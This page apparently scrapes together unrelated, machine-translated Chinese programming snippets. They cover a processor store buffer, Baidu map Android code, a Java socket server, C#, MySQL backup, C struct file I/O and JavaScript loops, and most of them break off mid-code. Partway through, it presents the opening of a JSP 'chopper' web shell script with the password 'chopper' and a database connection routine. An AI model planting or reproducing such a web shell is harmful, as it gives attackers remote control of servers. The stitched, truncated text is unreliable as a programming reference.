The following is an excerpt from the book "Step by Step surprise core-software core processor internal design analysis ".
14.1 role and working process of Sb Module
Icache is directly connected to the WishBone Bus Interface Unit wb_biu, but a store buffer (SB) module is inserted between dcache and the WishBone Bus Interface Unit wb_biu, as shown in Figure 1.6.
SB
(true); // The returned positioning result contains the address information option. setAddrType ("all"); // The returned positioning result contains the address information option. setCoorType ("bd09ll"); // The return result is Baidu longitude and latitude. The default value is gcj02option. s EtScanSpan (5000); // you can specify a time interval of msoption to initiate a request. disableCache (true); // disable cache locating option. setPoiNumber (5); // maximum number of returned POI options.
circleOptions = new CircleOptions ();CircleOptions. center (ll); // you can specify the coordinates of the center.CircleOptions. fillColor (0Xaafaa355); // fill color of the circleCircleOptions. fillColor (0Xaafaa355); // fill color of the circleCircleOptions. radius (400); // set the radiusCircleOptions. stroke (new Stroke (2, 0xAA00FF00); // you can specify a border.MBaiduMap. addOverlay (circleOptions );MapStatusUpdate u = MapStatusUpdateFactory. newLatLngZoom (ll, 16); // you can specify th
class Server {public static void main (String args []) throws IOException {// For the sake of simplicity, all exception information is throttled with int port = 8899; // define a ServerSocket listener on port 8899 ServerSocket server = new ServerSocket (port); // server attempts to receive connection requests from other sockets, the accept method of server is blocking Socket socket = server. accept (); // After establishing a connection with the client, we can obtain the InputStream of the sock
();Console.readkey ();Inherit, first write the parent class, then write the interfacePropertyconstructor functionOverloaded, polymorphic6. String1. Immutability of strings2. String can be considered as a read-only group of type Char7. Efficient StringBuilderNo need to open up a new string space, you can add, splice, insert, replace string, and finally tostring to string typeStringBuilder sb = new StringBuilder ();
Some Report programs often need to print the capital amount of RMB, so they write a tool for converting the RMB from lowercase to uppercase within 9 digits.
The Code is as follows:
Using system;Using system. text;Namespace rmblowertoupper{/// /// Summary of class1./// Class ltou{/// /// Main entry point of the application./// [Stathread]Static void main (string [] ARGs){// If (ARGs. length! = 1)//{// Console. writeline ("error number! ");// Return;//}String number = NULL;Do{Console. writeline ("
I am less lazy about controls. There are a few controls I prefer to use, such as repeater display list of controls, can provide great convenience.The use of repeater has a more convenient function is through a few lines of code to achieve the same merge cell merge, although the usual less use, but sometimes customers or managers compared tricky time, it is really good to feel this!When I use Ajax to achieve an effect today, the Repeater list control won't come in handy, so I have to find a way t
What I wrote today is to use Java to implement MySQL backup and recovery. The backup load method is recovery.
Import java. io. File;Import java. io. IOException;Import java. io. InputStream;Import java. util. Properties;Public class JavaMysql {/**** Mysql Data Backup receives the Script Name and returns this path** SQL indicates the backup script name, such as xxx. SQL.**/Public static void backup (String SQL ){Properties pros = getPprVue ("prop. properties ");// Here is the read attribute file,
Jsp can be connected with a kitchen knife in one sentence, and the JSP pants removal script
Password 023
String Pwd = "chopper ";
String EC (String s, String c) throws Exception {return s;} // new String (s. getBytes ("ISO-8859-1"), c );}
Connection GC (String s) throws Exception {String [] x = s. trim (). split ("\ r \ n"); Class. forName (x [0]. trim ()). newInstance ();
Connection c = DriverManager. getConnection (x [1]. trim (); if (x. length> 2) {c. setCatalog (x [2]. trim ();}
portability, you must use the "B" flag to open the file.
The read/write struct program is as follows:
Write the struct into a file:View code # include # Include
Typedef struct {Char C;Int h;Short N;Long m;Float F;Double D1;Char * s;Double D2;} St;Int main (void){File * FP;St SA, Sb;Char * STR = "abcdefg ";SA. c = 'K ';SA. H =-3;SA. n = 20;SA. M = 100000000;SA. f = 33.32f;SA. D1 = 78.572;SA. D2 = 33.637;SA. S = STR;Fp = fopen ("st.txt", "W + ");If (!
Review for-in Traversal
In JS, for-in traverses the key of an iterative object, which requires special attention:
"Use Strcit";
var x=[' LZ ', ' h ', ' is ', ' a SB ']; The array object is an iterative for
(let I in x) {
console.log (i);
Output
0
1
2
3
Inconvenient Place
If you want to get its value, you need to query the value of this key again:
"Use Strcit";
var x=[' LZ ', ' h ', ' is ', ' a SB '
change this copy, the original value will not change, the output proves this:
Before change, n = 3
After changedata (N), n = 3
Now let's take a look at the example of passing an object as a parameter, which is also a topic.
Public class Test2 {
Public static void main (string [] ARGs ){
Stringbuffer sb = new stringbuffer ("hello ");
System. Out. println ("Before change, SB =" +
moblie 5 of IE 4)Mozilla/firefoxOpera (including opera Mini and Opera Mobile, but for the Opera Mobile 8.5 Beta 2 for Windows Mobile 5 Pocket PC object serialization, the serialization of object name support is incomplete, while other versions are normal. )KonquerorSafariEpiphanyOther browsers are not tested, but they should basically be supported by JavaScript-enabled browsers (conditional users want to be able to help test).
In this program you need to call the Utf16to8 and UTF8TO16 functions
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